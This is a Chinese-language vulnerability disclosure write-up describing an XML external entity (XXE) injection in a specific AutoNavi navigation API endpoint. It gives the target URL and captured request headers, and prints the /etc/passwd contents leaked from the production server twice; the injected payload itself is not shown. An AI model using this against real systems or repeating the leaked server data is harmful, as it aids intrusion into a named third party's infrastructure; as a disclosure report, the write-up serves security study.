【漏洞学习——XML注入】高德导航某接口XML实体注入

漏洞细节

在我对高德地图离线版进行测试时抓到一个接口便进行了深入测试

http://us.autonavi.com

实际产生漏洞的接口:

http://us.autonavi.com/navisoftware/tips

一个正常的页面

抓包内容：

POST /navisoftware/tips HTTP/1.1
Host: us.autonavi.com
Content-Type: application/x-www-form-urlencoded
Accept: */*
userid: 
syscode: 41001
apkversion: 14
os: 9.1
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
mapversion: 30.1.031005.0010
imei: 4EFFB44F-E719-4F74-950E-CDC055EA9E89
User-Agent: %E9%AB%98%E5%BE%B7%E5%AF%BC%E8%88%AA/9.6.4 CFNetwork/758.1.6 Darwin/15.0.0
Content-Length: 242
Connection: keep-alive
pid: 2
model: iPhone
resolution: 1242x2208
sign: 3a175d2b8a0ddb113c60fad427ffa8ac

测试了一下发现存在XML注入
构造代码读取etc/passwd 
成功返回，root权限

root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/spool/mail:/sbin/nologinuucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologinoperator:x:11:0:operator:/root:/sbin/nologingames:x:12:100:games:/usr/games:/sbin/nologingopher:x:13:30:gopher:/var/gopher:/sbin/nologinftp:x:14:50:FTP User:/var/ftp:/sbin/nologinnobody:x:99:99:Nobody:/:/sbin/nologindbus:x:81:81:System message bus:/:/sbin/nologinvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologinabrt:x:173:173::/etc/abrt:/sbin/nologinsaslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologinpostfix:x:89:89::/var/spool/postfix:/sbin/nologinhaldaemon:x:68:68:HAL daemon:/:/sbin/nologinntp:x:38:38::/etc/ntp:/sbin/nologinsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologintcpdump:x:72:72::/:/sbin/nologinoprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologinbacula:x:133:133:Bacula Backup System:/var/spool/bacula:/sbin/nologinradiusd:x:95:95:radiusd user:/home/radiusd:/sbin/nologinmysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bashdovecot:x:97:97:Dovecot IMAP server:/usr/libexec/dovecot:/sbin/nologindovenull:x:498:499:Dovecot's unauthorized user:/usr/libexec/dovecot:/sbin/nologinapache:x:48:48:Apache:/var/www:/sbin/nologinqpidd:x:497:498:Owner of Qpidd Daemons:/var/lib/qpidd:/sbin/nologinautonavi:x:500:500::/home/autonavi:/bin/bashnagios:x:501:501::/home/nagios:/sbin/nologinzabbix:x:502:502::/home/zabbix:/bin/bashzongning:x:503:503::/home/zongning:/bin/bash

root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/spool/mail:/sbin/nologinuucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologinoperator:x:11:0:operator:/root:/sbin/nologingames:x:12:100:games:/usr/games:/sbin/nologingopher:x:13:30:gopher:/var/gopher:/sbin/nologinftp:x:14:50:FTP User:/var/ftp:/sbin/nologinnobody:x:99:99:Nobody:/:/sbin/nologindbus:x:81:81:System message bus:/:/sbin/nologinvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologinabrt:x:173:173::/etc/abrt:/sbin/nologinsaslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologinpostfix:x:89:89::/var/spool/postfix:/sbin/nologinhaldaemon:x:68:68:HAL daemon:/:/sbin/nologinntp:x:38:38::/etc/ntp:/sbin/nologinsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologintcpdump:x:72:72::/:/sbin/nologinoprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologinbacula:x:133:133:Bacula Backup System:/var/spool/bacula:/sbin/nologinradiusd:x:95:95:radiusd user:/home/radiusd:/sbin/nologinmysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bashdovecot:x:97:97:Dovecot IMAP server:/usr/libexec/dovecot:/sbin/nologindovenull:x:498:499:Dovecot's unauthorized user:/usr/libexec/dovecot:/sbin/nologinapache:x:48:48:Apache:/var/www:/sbin/nologinqpidd:x:497:498:Owner of Qpidd Daemons:/var/lib/qpidd:/sbin/nologinautonavi:x:500:500::/home/autonavi:/bin/bashnagios:x:501:501::/home/nagios:/sbin/nologinzabbix:x:502:502::/home/zabbix:/bin/bashzongning:x:503:503::/home/zongning:/bin/bash

危害挺大，可以进行其它操作，或构造XML语句进行攻击！

参见：https://bugs.shuimugan.com/bug/view?bug_no=161119